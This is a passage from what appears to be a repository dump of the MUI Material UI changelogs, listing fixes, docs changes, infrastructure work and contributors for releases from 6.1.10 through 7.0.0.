(#45688) @mnajdova\n\n### Docs\n\n- Fix Masonry and Toolpad dark mode demos (#45721) @siriwatknp\n- Update v7 related copy (#45716) @aarongarciah\n- Avoid unwanted undefined in page title (#45718) @aarongarciah\n- Fix joy templates error (#45715) @siriwatknp\n- Rename GitHub icon import (#45709) @micttyoid\n- Fix Safari issue in dark mode (#45696) @mnajdova\n- Fix `Grid`, `GridLegacy`, `Stack`, `Badge`, `Select`, `Autocomplete` demos CSS variables (#45693) @DiegoAndai\n- Add \"Material UI v7 is here\" to the notifications (#45694) @DiegoAndai\n- Fix `Breadcrumbs`, `List`, `Divider`, and `Typography` dark mode demos (#45692) @siriwatknp\n- Fix Material Icons page in dark mode (#45691) @mnajdova\n\nAll contributors of this release in alphabetical order: @aarongarciah, @DiegoAndai, @eduter, @Janpot, @micttyoid, @mnajdova, @siriwatknp\n\n## 7.0.0\n\n<!-- generated comparing v7.0.0-rc.0..master -->\n\n_Mar 26, 2025_\n\n🎉 We're happy to announce the stable release of v7.\n\n- Read the [blog post](https://mui.com/blog/material-ui-v7-is-here/) about the announcement.\n- Check out the [v7 upgrade guide](https://mui.com/material-ui/migration/upgrade-to-v7/).\n\n### `@mui/material@7.0.0`\n\n- [Autocomplete] Fix when `onHighlightChange` is called (#45438) @ZeeshanTamboli\n- [Tabs] Fix modifier keys + Left/Right Arrow key from being consumed by tab navigation (#45345) @mushfiqbh\n- Update minimum TypeScript support to 4.9 (#45535) @siriwatknp\n\n### `@mui/system@7.0.0`\n\n- [system] Fix palette mode does not change when not using CSS vars (#45660) @siriwatknp\n\n### `@mui/lab@7.0.0-beta.9`\n\n- [lab] Remove @mui/base dependency (#45602) @mnajdova\n\n### Docs\n\n- [docs] Fix unnecessary redirects for v7 (#45677) @Janpot\n- [docs] Fix new React project link, CRA deprecated (#45362) @oliviertassinari\n- [docs] Prepare the v7 upgrade guide for stable release (#45624) @DiegoAndai\n- [docs] Fix grammatical errors in support.md (#45631) @letianpailove\n- [docs] Update nextjs font optimization guide (#45600) @IshfaqAhmedProg\n- [docs] Deprecate Toolpad Studio (#45613) @Janpot\n- [docs] Sync the mode from page to demos #45661 @siriwatknp\n\n### Core\n\n- [blog] v7 stable release (#45623) @DiegoAndai\n- [code-infra] Disable flaky masonry screenshot (#45678) @Janpot\n- [code-infra] Migrate regression tests to vite (#44964) @Janpot\n- [code-infra] Update rollup (#45666) @Janpot\n- [code-infra] Support `React.ComponentType` in proptypes generation (#45664) @Janpot\n- [code-infra] Ensure `translations.json` is present in all `@mui/docs` package builds (#45626) @LukasTy\n- [code-infra] Improve Argos script debuggability (#45619) @Janpot\n- [code-infra] Reconfigure `react-remove-properties` babel plugin (#45218) @Janpot\n- [core] Prepare master for v7 stable (#45674) @DiegoAndai\n- [core] Improve instructions on changing domain (#45637) @mnajdova\n- [core] Deprecate `ponyfillGlobal` (#45606) @Janpot\n- [docs-infra] Restructure docs theme context to CSS variables (#45386) @siriwatknp\n- [styles] Remove code & docs (#45633) @mnajdova\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @IshfaqAhmedProg, @Janpot, @letianpailove, @LukasTy, @mnajdova, @mushfiqbh, @oliviertassinari, @siriwatknp, @ZeeshanTamboli\n\n## 7.0.0-rc.0\n\n<!-- generated comparing v7.0.0-beta.4..master -->\n\n_Mar 18, 2025_\n\nA big thanks to the 4 contributors who made this release possible.\n\n### `@mui/material@7.0.0-rc.0`\n\n- [StepLabel] Add missing root slot (#45603) @sai6855\n- [Switch] Add slots and slotProps (#45595) @siriwatknp\n- [utils] Add merging function to `mergeSlotProps` utility (#45543) @siriwatknp\n\n### Core\n\n- [blog] Clarify the difference between the two Pro plans (#45266) @oliviertassinari\n- [code-infra] Allow specifying a custom error formatter module for error minifcation (#45291) @Janpot\n- [code-infra] Make `getVersionEnvVariables` reusable for other repos (#45562) @Janpot\n- [code-infra] Update peer dependency of `@mui/utils` in `@mui/docs` (#45561) @Janpot\n- Add StackBlitz template to issue template (#45504) @Janpot\n\nAll contributors of this release in alphabetical order: @Janpot, @oliviertassinari, @sai6855, @siriwatknp\n\n## 7.0.0-beta.4\n\n<!-- generated comparing v7.0.0-beta.3..master -->\n\n_Mar 13, 2025_\n\nA big thanks to the 10 contributors who made this release possible.\nThis release contains bug fixes 🐛 and improvements to the new package layout 🏗️.\n\n### `@mui/material@7.0.0-beta.4`\n\n- [Accordion] Add missing `root` slot (#45532) @sai6855\n- [AccordionSummary] Add slots and slotProps (#45559) @sai6855\n- [ListItemText] Add missing `root` slot (#45540) @sai6855\n- [SpeedDial] Add missing `root` slot (#45541) @sai6855\n- [Tooltip] Allow auto placement on tooltip (#45399) @Jtaks\n- [useScrollTrigger] Do nothing if target is null (#45441) @vipierozan99\n- [TextareaAutosize] Fix ResizeObserver causing infinite `selectionchange` loop (#45351) @mj12albert\n- Fix negative input for CSS variables spacing array (#45550) @siriwatknp\n- Add missing deprecations in deprecations-all file (#45505) @sai6855\n- Rename some `@mui/material/styles/createTypography` exports (#45558) @Janpot\n\n### `@mui/icons-material@7.0.0-beta.4`\n\n- Remove unused icon names from the download script (#45453) @yermartee\n\n### `@mui/system@7.0.0-beta.4`\n\n- Prevent nested non-vars theme inheritance (#45545) @siriwatknp\n- Disable theme recalculation as default behavior (#45405) @siriwatknp\n- Fix package layout inconsistencies (#45491) @DiegoAndai\n\n### `@mui/styled-engine@7.0.0-beta.4`\n\n- Add `enableCssLayer` prop to StyledEngineProvider (#45428) @siriwatknp\n\n### `@mui/types@7.3.0`\n\n- [code-infra] Fix type resolution for @mui/types (#45513) @Janpot\n\n### `@mui/utils@7.0.0-beta.4`\n\n- Fix package layout inconsistencies (#45491) @DiegoAndai\n- Use correct iri-reference homepage format (#45472) @dahiro\n\n### Docs\n\n- [Backdrop] Fix component name in migration guide (#45506) @sai6855\n- [TextField] Add HTML input section to TextField page (#45439) @siriwatknp\n\n### Core\n\n- [code-infra] Convert a few docs modules to ts (#45548) @Janpot\n- [code-infra] Remove more CJS modules from the docs (#45557) @Janpot\n- [code-infra] Remove nested imports from theme augmentation (#45514) @Janpot\n- [docs-infra] Add @ts-ignore to avoid type checking for MUI X (#45555) @siriwatknp\n- [blog] Fix author end-of-year updates (#45533) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @dahiro, @DiegoAndai, @Janpot, @Jtaks, @mj12albert, @oliviertassinari, @sai6855, @siriwatknp, @vipierozan99, @yermartee\n\n## 7.0.0-beta.3\n\n<!-- generated comparing v7.0.0-beta.2..master -->\n\n_Mar 5, 2025_\n\nA big thanks to the 3 contributors who made this release possible.\n\n### `@mui/material@7.0.0-beta.3`\n\n- Fix moduleResolution:node for icons (#45444) @Janpot\n- [ThemeProvider] Add `storageManager` prop to `ThemeProvider` (#45136) @siriwatknp\n- [Radio] Fix `inputProps` not forwarded (#45471) @siriwatknp\n\n### `@mui/codemod@7.0.0-beta.3`\n\n- [codemod] Fix codemods not found (#45473) @DiegoAndai\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @Janpot, @siriwatknp\n\n## 7.0.0-beta.2\n\n<!-- generated comparing v7.0.0-beta.1..master -->\n\n_Feb 27, 2025_\n\nA big thanks to the 2 contributors who made this release possible.\n\n### Core\n\n- [code-infra] Add package.json export (#45433) @Janpot\n- [blog] React 19 migration for MUI X (#45348) @arminmeh\n\nAll contributors of this release in alphabetical order: @arminmeh, @Janpot\n\n## 7.0.0-beta.1\n\n<!-- generated comparing v7.0.0-beta.0..master -->\n\n_Feb 27, 2025_\n\nThis release fixes incorrect build output from the previous release (`beta.0`).\n\n### Core\n\n- [code-infra] Fix build:types script omitting folders with a dot in their name (#45422) @Janpot\n- [release] Fix versions (#45420) @mj12albert\n\nAll contributors of this release in alphabetical order: @Janpot, @mj12albert\n\n## 7.0.0-beta.0\n\n<!-- generated comparing v7.0.0-alpha.2..master -->\n\n_Feb 26, 2025_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### `@mui/material@7.0.0-beta.0`\n\n- [Modal][Dialog] Remove deprecated `onBackdropClick` (#45395) @DiegoAndai\n- [Grid] Improve Grid2 upgrade experience (#45304) @DiegoAndai\n- [Grid] Rename to GridLegacy (#45363) @DiegoAndai\n- [Grid2] Rename to Grid (#45381) @DiegoAndai\n- Remove SvgIcon data-testid in production (#45333) @Janpot\n- Allow nested theme creation with `vars` (#45335) @siriwatknp\n- [Rating] Deprecate \\*Props and complete `slots`, `slotProps` (#45295) @harry-whorlow\n- [Slider] Fix css class selector in migration guide (#45402) @sai6855\n- [Slider] Fix spacings in .md files (#45388) @sai6855\n- [styles] Remove deprecated exports (#45397) @DiegoAndai\n- [Menu] Deprecate \\*Props and complete `slots`, `slotProps` (#44913) @siriwatknp\n- [StepButton] Remove StepIconButton type (#45396) @DiegoAndai\n\n### Docs\n\n- [Autocomplete] Remove unnecessary renderTags prop from Sizes demo (#45401) @ZeeshanTamboli\n- Add `overriding-component-structure` doc to Material UI (#45186) @siriwatknp\n- Fix typo in slider docs (#45390) @sai6855\n- Fix Context Menu selection lost on Safari (#44903) @NooBat\n\n### Core\n\n- [code-infra] Fix types for @mui/styled-engine (#45413) @Janpot\n- [docs-infra] Fix theme toggle call (#45400) @siriwatknp\n- [docs-infra] Add `color-scheme` to document in iframe demos (#45406) @KenanYusuf\n- [docs-infra] Revert to use deprecated `CssVarsProvider` for MUI X (#45371) @siriwatknp\n- [docs-infra] Fix dark mode flicker for API pages (#45354) @siriwatknp\n- [examples] Remove unnecessary comma in Material UI Vite JS example (#45370) @ZeeshanTamboli\n- [test] Remove unused renderTags prop and fix key warning in Autocomplete regression test (#45410) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @harry-whorlow, @Janpot, @KenanYusuf, @NooBat, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 7.0.0-alpha.2\n\n<!-- generated comparing v7.0.0-alpha.1..master -->\n\n_Feb 18, 2025_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@7.0.0-alpha.2`\n\n- [Autocomplete] Remove legacy `aria-owns` attribute for combobox (#45302) @ZeeshanTamboli\n- [Button] Apply id only if loading indicator is present (#45296) @aarongarciah\n- [Hidden] Remove deprecated Hidden component (#45283) @DiegoAndai\n- [InputBase] Deprecate composed classes (#45234) @sai6855\n- [InputLabel] Changed size prop value from `normal` to `medium` (#45235) @perkrlsn\n- Fix `slotProps.transition` types (#45214) @siriwatknp\n\n### Docs\n\n- Fix broken links to MUI X docs (#45145) @mapache-salvaje\n- Add migration guide for package layout changes (#45222) @Janpot\n- [icons] Fix typo in material-icons.md (#45334) @a-s-russo\n\n### Core\n\n- Disallow access to esm/modern barrel files (#45332) @Janpot\n- [code-infra] Update `elliptic` (#45311) @Janpot\n- Update release guide to specify package bumping rules (#45294) @DiegoAndai\n\nAll contributors of this release in alphabetical order: @a-s-russo, @aarongarciah, @DiegoAndai, @Janpot, @mapache-salvaje, @perkrlsn, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 7.0.0-alpha.1\n\n<!-- generated comparing v7.0.0-alpha.0..master -->\n\n_Feb 11, 2025_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@mui/material@7.0.0-alpha.1`\n\n- [Checkbox] Add slots and slotProps (#44974) @sai6855\n- [LinearProgress][CircularProgress] Add variant overrides for module augumentation (#45163) @kingflamez\n- [Drawer] Deprecate \\*Props and complete `slots`, `slotProps` (#44960) @siriwatknp\n- Fix wrong `slotProps` of `DetailsHTMLAttributes` types (#45215) @siriwatknp\n- [MobileStepper] deprecate `LinearProgressProps` and complete `slots`, `slotProps` (#45033) @siriwatknp\n- [Radio] Add slots and slotProps (#44972) @sai6855\n- [Radio] Remove empty line (#45184) @sai6855\n- [Slider] Deprecate composed classes (#45201) @sai6855\n- [Snackbar] Fix generated proptypes (#45156) @siriwatknp\n- [SpeedDialAction] Add slots and slotProps (#45065) @sai6855\n- [SwitchBase] Fix spreading of `handlers` in getSlotProps (#45197) @sai6855\n- [Tabs] Deprecate \\*Props and complete `slots`, `slotProps` (#45012) @siriwatknp\n- [TextField] Remove deprecated props from documentation (#45199) @sai6855\n\n### `@mui/icons-material@7.0.0-alpha.1`\n\n- Change icon source URL and add overrides (#45020) @siriwatknp\n\n### `@mui/lab@7.0.0-beta.1`\n\n- Remove components which were moved from lab to material (#45232) @DiegoAndai\n\n### Docs\n\n- [Autocomplete] Improve Google Maps search example (#44708) @oliviertassinari\n- [Dialog] Removes deprecated PaperProps from docs (#45195) @sai6855\n- [Menu] Add Grouped Menu demo (#45241) @noobDev31\n- [material] Add disableInteractive on colorTool grid Tooltips (#37800) @Janpot\n- [blog] Consistent Base UI terminology (#45264) @oliviertassinari\n- A quick first step to update docs for Tailwind v4 (#45147) @oliviertassinari\n- Fix `element.ref` accessing warning on docs (#45155) @DiegoAndai\n- Mention Toolpad as experimental (#45273) @prakhargupta1\n- [joy-ui] Update \"Set up providers\" section of integration with Material UI (#45183) @mateuseap\n\n### Core\n\n- Update branch switch tags (#45198) @DiegoAndai\n- Fix double redirection to Base UI (#45146) @oliviertassinari\n- Fix corepack and pnpm installation in CircleCI (#45185) @mj12albert\n- Fix typo on Netlify script (#45278) @maximevtush\n- [code-infra] Fix testing library resolution with custom react (#44061) @Janpot\n- [code-infra] Update package layout for better ESM support (#43264) @Janpot\n- Update `@typescript-eslint/*` packages and remove deprecated `eslint-config-airbnb-typescript` package (#45245) @ZeeshanTamboli\n- [docs] Restore utility component docs from MUI Base to Material UI (#45213) @mapache-salvaje\n- [docs] Sync active sponsors (#45204) @oliviertassinari\n- [docs] Fix links in CONTRIBUTING.md (#45202) @bernardobelchior\n- [docs-infra] Point to MUI X next docs (#45207) @cherniavskii\n- [test] Fix React 18 tests (#45161) @DiegoAndai\n\nAll contributors of this release in alphabetical order: @bernardobelchior, @cherniavskii, @DiegoAndai, @Janpot, @kingflamez, @mapache-salvaje, @mateuseap, @maximevtush, @mj12albert, @noobDev31, @oliviertassinari, @prakhargupta1, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 7.0.0-alpha.0\n\n<!-- generated comparing v6.4.1..master -->\n\n_Jan 31, 2025_\n\nA big thanks to the 9 contributors who made this release possible.\nThis is the first alpha release of Material UI v7 🎉.\n\n### `@mui/material@7.0.0-alpha.0`\n\n- [Autocomplete] Prevent shrink animation in uncontrolled Autocomplete when default value is set (#44873) @ZeeshanTamboli\n- [Popover] Deprecate \\*Props and complete `slots`, `slotProps` (#45035) @siriwatknp\n- [Slider] Fix arrow keys past the end for Slider with custom marks (#45050) @joshkel\n- [SwitchBase] Deprecate `inputProps` and complete slots, slotProps (#45076) @siriwatknp\n- [TextareaAutosize] Temporarily disconnect ResizeObserver to avoid loop error (#44540) @mj12albert\n- [Slider] Narrow onChange value type (#44777) @good-jinu\n- [Snackbar] Add Slots and SlotProps (#45103) @harry-whorlow\n\n### `@mui/utils@7.0.0-alpha.0`\n\n- Merge `sx` instead of override when using `mergeSlotProps` (#45062) @siriwatknp\n\n### Core\n\n- [code-infra] a few fixes uncovered during ESM updates (#45031) @Janpot\n- [code-infra] Remove rsc-builder (#45079) @Janpot\n- [code-infra] Remove commonjs imports in docs (#44976) @Janpot\n- [docs-infra] Move Ukraine banner to the bottom (#45135) @oliviertassinari\n- Fix MUI Base vale rule (#45140) @oliviertassinari\n- Fix missing store contributor renaming (b3d1be0) @oliviertassinari\n- Fix 404 errors (#45137) @oliviertassinari\n- Prepare libraries for first v7 alpha release (#45132) @DiegoAndai\n- Fix CHANGELOG vale failure (#45151) @DiegoAndai\n\n### Docs\n\n- Fix `/base-ui` redirect and prune links (#45083) @mj12albert\n- Add v6 to v7 migration guide (#45143) @DiegoAndai\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @good-jinu, @harry-whorlow, @Janpot, @joshkel, @mj12albert, @oliviertassinari, @siriwatknp, @ZeeshanTamboli\n\n## Older versions\n\nChanges before 7.x are listed in our [changelog for older versions](https://github.com/mui/material-ui/blob/HEAD/CHANGELOG.old.md).\n"
  },
  {
    "path": "CHANGELOG.old.md",
    "content": "## 6.4.2\n\n<!-- generated comparing v6.4.1..v6.x -->\n\n_Jan 29, 2025_\n\nA big thanks to the 5 contributors who made this release possible.\n\n### `@mui/material@6.4.2`\n\n- [Autocomplete] Prevent shrink animation in uncontrolled Autocomplete when default value is set (#44873) @ZeeshanTamboli\n- [Slider] Fix arrow keys past the end for Slider with custom marks (#45050) @joshkel\n- [TextareaAutosize] Temporarily disconnect ResizeObserver to avoid loop error (#44540) @mj12albert\n\n### Core\n\n- [code-infra] a few fixes uncovered during ESM updates (@Janpot) (#45100) @Janpot\n- [code-infra] Remove rsc-builder (#45079) @Janpot\n- [code-infra] Remove commonjs imports in docs (#44976) @Janpot\n- Prepare stable release from the `v6.x` branch (#45133) @DiegoAndai\n\n### Docs\n\n- Fix `/base-ui` redirect and prune links (#45083) @mj12albert\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @Janpot, @joshkel, @mj12albert, @ZeeshanTamboli\n\n## 6.4.1\n\n<!-- generated comparing v6.4.0..master -->\n\n_Jan 21, 2025_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@6.4.1`\n\n- [ButtonBase] Export types used in ButtonBase props (#43530) @Janpot\n- [Dialog] Add slots and slotProps (#44792) @sai6855\n- [Drawer] Deprecate composed classes (#44870) @yash49\n- [IconButton] Set default loading to `null` (#45057) @siriwatknp\n- [ListItem] Add codemod for deprecated props (#45022) @sai6855\n- [Modal] Add migration guide and codemod for deprecated props (#45021) @sai6855\n- [TextField] Fix filled state to be synced with autofill (#44135) @DiegoAndai\n\n### `@mui/system@6.4.1`\n\n- Fix dark mode flicker using `useEnhancedEffect` (#44812) @siriwatknp\n\n### `@mui/utils@6.4.1`\n\n- Do not deep merge React component (#45058) @siriwatknp\n\n### Docs\n\n- Fix typo (#45070) @Fullchee\n- Improve Toolpad templates section (#44914) @bharatkashyap\n- Fix expand / collapse icons orientation (#44989) @zanivan\n- Rename \"Base UI\" to \"MUI Base\" in all text (#45060) @mj12albert\n- Add @mui/base deprecation callout (#45030) @mj12albert\n- Update @mui/base deprecation message (#45064) @mj12albert\n\n### Core\n\n- [code-infra] Add \"use client\" directive to files with React APIs (#45036) @Janpot\n- [docs] 301 redirect `/base-ui` to `base-ui.com` (#45061) @mj12albert\n\nAll contributors of this release in alphabetical order: @bharatkashyap, @DiegoAndai, @Fullchee, @Janpot, @mj12albert, @sai6855, @siriwatknp, @yash49, @zanivan\n\n## 6.4.0\n\n<!-- generated comparing v6.3.1..master -->\n\n_Jan 13, 2025_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- Added [`loading` prop](https://mui.com/material-ui/react-button/#loading-2) to the `Button` and `IconButton` components (#44637) @siriwatknp\n\n### `@mui/material@6.4.0`\n\n- [Alert] complete `slots` and `slotProps` (#44971) @siriwatknp\n- [Autocomplete] Sync runtime and TS types for key in grouped options (#44862) @aarongarciah\n- [Button] Add `loading` prop (#44637) @siriwatknp\n- [CardHeader] Deprecate `*TypographyProps` and complete `slots`, `slotProps` (#44729) @siriwatknp\n- [CircularProgress] Improve indeterminate animation to be symmetric and smooth (#44934) @yashdev16\n- [LinearProgress] Deprecate composed classes (#44933) @headironc\n- [Link] Fix error for using custom palette with underline (#44927) @siriwatknp\n- [Select] Do not set `aria-controls` when closed (#44919) @siddhantantil39\n- [Select] Add missing root class (#44928) @sai6855\n- [Slider] Set onChangeCommitted to receive the last argument passed to onChange (#44795) @good-jinu\n- Add `mergeSlotProps` for extending components (#44809) @siriwatknp\n- Update `mergeSlotProps` to merge `style` (#44959) @siriwatknp\n- Fix slots typing for Tooltip and StepLabel (#44985) @siriwatknp\n- Remove unnecessary blank lines (#44980) @sai6855\n\n### Docs\n\n- [docs] Fix Dashboard sidenav sroll (#44876) @oliviertassinari\n- [docs] Fix broken anchor link to w3.org (c51af8e) @oliviertassinari\n- [docs] Add details on complementary Menu components (#44957) @samuelsycamore\n- [docs] Remove misleading messaging on MD3 support (#44953) @mnajdova\n- [docs] Fix code copy button obscuring on small screen sizes (#44861) @ZeeshanTamboli\n- [docs] Remove more instances of Adobe XD (#44956) @samuelsycamore\n- [docs] Remove Adobe XD chips, links, and mentions (#44909) @samuelsycamore\n- [docs] Fix incorrect rendering in Typography docs (#44937) @iaziz11\n\n### Core\n\n- [core] Remove redundant screenshots (#44877) @oliviertassinari\n- [core] Remove Suspense and clock mocking from regressions and e2e tests (#44935) @DiegoAndai\n- [code-infra] Allow react@18 on `@mui/internal-test-utils` (#45023) @LukasTy\n- [code-infra] Stabilize flaky pigment progressbar tests (#44969) @Janpot\n- [example] Update the CDN example to adapt React 19. (#44979) @IceOfSummer\n- [figma] Clarify that Material UI Sync plugin is experimental (#44975) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @aarongarciah, @DiegoAndai, @good-jinu, @headironc, @iaziz11, @IceOfSummer, @Janpot, @LukasTy, @mnajdova, @oliviertassinari, @sai6855, @samuelsycamore, @siddhantantil39, @siriwatknp, @yashdev16, @ZeeshanTamboli\n\n## 6.3.1\n\n<!-- generated comparing v6.3.0..master -->\n\n_Jan 3, 2025_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### `@mui/material@6.3.1`\n\n- [Autocomplete] Revert: Fix options list rendering in freeSolo mode (#44858) @ZeeshanTamboli\n- [Tooltip] Warn instead of error when trigger is disabled (#44846) @yash49\n- [TableSortLabel] Add slots and slotProps (#44728) @sai6855\n- [Select] Deprecate composed classes (#44925) @sai6855\n\n### Docs\n\n- [material-ui][Accordion] Update `Anatomy` section in Accordion docs (#44849) @ZeeshanTamboli\n- [material-ui][CardActionArea] Added demo in docs of cards for adding props to CardActionArea (#44789) @siddhantantil39\n- [material-ui][Grid2] Add interactive demo for Grid v2 (#44820) @yash49\n- [material-ui][Select] Update docs to reflect the omission of placeholder prop (#44856) @adityaparab\n- [joy-ui] Fix Color mode button on Theme builder (#44864) @komkanit\n- Fix 301 redirections @oliviertassinari\n\n### Core\n\n- [examples] Update Next.js examples Next.js and React versions (#44852) @DiegoAndai\n- [code-infra] Prevent wrong nested imports in Base UI (#44426) @oliviertassinari\n- [docs-infra] Add vale coverage for App Router and Pages Router (060c55c) @oliviertassinari\n- Sync with other repos (1b9300f) @oliviertassinari\n- Fix docs:build to work in docs folder too (6b923a4) @oliviertassinari\n- Setup React 18 CI tests (#44868) @DiegoAndai\n- Update test to use public API (#44875) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @adityaparab, @DiegoAndai, @komkanit, @oliviertassinari, @sai6855, @siddhantantil39, @yash49, @ZeeshanTamboli\n\n## 6.3.0\n\n<!-- generated comparing v6.2.1..master -->\n\n_Dec 23, 2024_\n\nA big thanks to the 11 contributors who made this release possible. Here are some highlights ✨:\n\n- Fix invalid HTML structure in the Accordion component (#44408) @ZeeshanTamboli\n  The HTML elements of the Accordion summary have been updated:\n  - the root element is now button (previously div).\n  - summary content and the icon wrapper are now span (previously div).\n    This will only impact you if you used the HTML element as selectors in your styles.\n\n### `@mui/material@6.3.0`\n\n- [Accordion] Fix invalid HTML inside heading (#44408) @ZeeshanTamboli\n- [useAutocomplete] Improve TS typing of `groupedOptions` prop (#44657) @lewxdev\n- Prevent `ownerState` propagation for transition slots (#44401) @ZeeshanTamboli\n- [StepContent] Add slots and slotProps (#44742) @sai6855\n- [TablePagination] Add the rest of `slots` and `slotProps`. (#44570) @siriwatknp\n\n### `@mui/system@6.3.0`\n\n- Set `before` directly without using prepend for global styles (#44648) @siriwatknp\n\n### Docs\n\n- [material-ui] Improve `theme.applyStyles()` docs (#44658) @DiegoAndai\n- [material-ui] Update MD callout (#43958) @aarongarciah\n\n### Core\n\n- Remove unnecessary conditional around `.muiName =` (#44071) @Janpot\n- [blog] Material UI: 2024 EOY updates blog post (#44722) @alelthomas\n- Fix quickstart command in pigment docs (#44806) @yash49\n- [docs-infra] Remove Next.js production profiler (#44823) @romgrk\n- [docs-infra] Remove no longer support `optimizeFonts` Next.js option (#44802) @LukasTy\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alelthomas, @DiegoAndai, @Janpot, @lewxdev, @LukasTy, @romgrk, @sai6855, @siriwatknp, @yash49, @ZeeshanTamboli\n\n## 6.2.1\n\n<!-- generated comparing v6.2.0..master -->\n\n_Dec 17, 2024_\n\nA big thanks to the 10 contributors who made this release possible.\n\n### `@mui/material@6.2.1`\n\n- Update `overridesResolver` return from object to array of styles (#44752) @siddhantantil39\n- [Pagination] Use correct `aria-current` value (#44753) @jacklaurencegaray\n- [Select] Set `aria-required` & `aria-invalid` on `combobox` instead of hidden input (#44731) @ben-pomelo\n\n### `@mui/system@6.2.1`\n\n- Warns if the hex color contains trailing space (#44538) @siriwatknp\n\n### Docs\n\n- [material-ui][Dialog] Fix crashing of DraggableDialog demo (#44747) @sai6855\n- [material-ui][TextField] Update `react-number-format` demo to use the recommended prop (#44743) @siriwatknp\n- [material-ui][TextField] Add size default prop to api docs (#44714) @sai6855\n- [material-ui][TextField] Add suffix shrink demo (#44744) @siriwatknp\n\n### Core\n\n- [api-docs-builder] Preserve multiline prop descriptions with `rawDescriptions` option (#44737) @vladmoroz\n- Fix running mocha related scripts on Windows locally (#44664) @ChristopherJamesL\n- Update `eslint-plugin-jsx-a11y` (#44701) @ZeeshanTamboli\n- Add documentation to `useThemeProps`, `deepmerge` and `composeClasses` functions (#44703) @JCQuintas\n- [examples] Add Theme Mode Switch to Next.js TS example (#43576) @TurtIeSocks\n\nAll contributors of this release in alphabetical order: @ben-pomelo, @ChristopherJamesL, @jacklaurencegaray, @JCQuintas, @sai6855, @siddhantantil39, @siriwatknp, @TurtIeSocks, @vladmoroz, @ZeeshanTamboli\n\n## 6.2.0\n\n<!-- generated comparing v6.1.10..master -->\n\n_Dec 10, 2024_\n\nA big thanks to the 9 contributors who made this release possible. Here are some highlights ✨:\n\n- Material UI is now compatible with React 19 (#44672) @DiegoAndai\n- Fixed incorrect `aria-orientation` for vertical sliders. <kbd>ArrowRight</kbd> now increases the value and <kbd>ArrowLeft</kbd> decreases the value in vertical sliders; they were reversed in prior versions. (#44537) @mj12albert\n\n### `@mui/material@6.2.0`\n\n- [Box] Add missing `component` to `BoxProps` type (#44643) @DiegoAndai\n- [Grid] Fix spacing when using css variables (#44663) @DiegoAndai\n- [ListItemText] Add `slots` and `slotProps` (#44571) @sai6855\n\n### Docs\n\n- Add Toolpad Core template link (#44415) @bharatkashyap\n\n### Core\n\n- [docs-infra] Allow custom annotations (#44707) @vladmoroz\n- [Box] Fix `component` prop test (#44651) @DiegoAndai\n- React 19 useRef cleanup (#44704) @DiegoAndai\n- Remove obselete lerna options (#44676) @ZeeshanTamboli\n- Fix Regular Expression Denial of Service (ReDoS) vulnerabilities (#44627) @SuperMaxine\n- Fix number of contributors (#44650) @aarongarciah\n- [docs-infra] Add support for data attributes in the API generation (#44709) @mnajdova\n- [docs-infra] Fix RTL dark mode (#41803) @alexfauquette\n- [Grid] Remove deeply nested imports (#43605) @Janpot\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @bharatkashyap, @DiegoAndai, @Janpot, @mj12albert, @mnajdova, @sai6855, @SuperMaxine, @vladmoroz, @ZeeshanTamboli\n\n## 6.1.10\n\n<!-- generated comparing v6.1.9..master -->\n\n_Dec 3, 2024_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@mui/material@6.1.10`\n\n- [Avatar] Fix `slotProps.img` not spread to hook (#44536) @siriwatknp\n- [FilledInput] Use `slotProps` instead of `componentsProps` (#44552) @siriwatknp\n- [Grid2] Fix theme scoping error (#44599) @siriwatknp\n- [Grid2] Add container styles from styleOverrides (#44598) @sai6855\n- Skip `tonalOffset` from setting color channel (#44585) @siriwatknp\n- Remove few more React.ReactElement<any> types (#44290) @sai6855\n- [Tabs] Fix `ScrollbarSize` ref being overriden (#44593) @DiegoAndai\n- [Select][TextField] Fix screen reader from saying `&ZeroWidthSpace` (#44631) @arishoham\n\n### `@mui/system@6.1.10`\n\n- [ThemeProvider] Optimize `theme` changes when enabling CSS theme variables (#44588) @siriwatknp\n\n### Docs\n\n- Notification for the MUI X v8 alpha zero announcement blog post (#44629) @joserodolfofreitas\n- Bump React Router to ^7.0.1 (#44531) @oliviertassinari\n- [material-ui] Replace testid with id in migration guide (#44636) @sai6855\n- [material-ui][TextField] Update usage of `InputLabelProps` in docs (#44634) @sai6855\n- [material-ui][ListItem] Add missing diffs in migration guide (#44638) @sai6855\n- [examples] Use Next.js 14 on examples (#44486) @DiegoAndai\n- Update links and sidebar nav for Base UI components in Material UI (#44581) @samuelsycamore\n\n### Core\n\n- Remove `getSlotOwnerState` from `useSlot` util (#44403) @ZeeshanTamboli\n- Extract useRippleHandler outside of ButtonBase (#44591) @albarv340\n- Update ESLint config (#44586) @MBilalShafi\n- [core-infra] Remove useless fragments (#44516) @oliviertassinari\n- [docs-infra] Fix Banner CLS (#44632) @oliviertassinari\n- [docs-infra] Change CSS vars generation to be extracted from Enum (#44587) @mnajdova\n- [docs-infra] Automatically hide Black Friday banner (#44630) @oliviertassinari\n- [docs-infra] Fix TOC RTL padding regression (#44535) @oliviertassinari\n- [test-utils] Remove leftover React.ReactElement<any> from describeConformance.tsx (#44639) @sai6855\n\nAll contributors of this release in alphabetical order: @albarv340, @arishoham, @DiegoAndai, @joserodolfofreitas, @MBilalShafi, @mnajdova, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 6.1.9\n\n<!-- generated comparing v6.1.8..master -->\n\n_Nov 27, 2024_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### 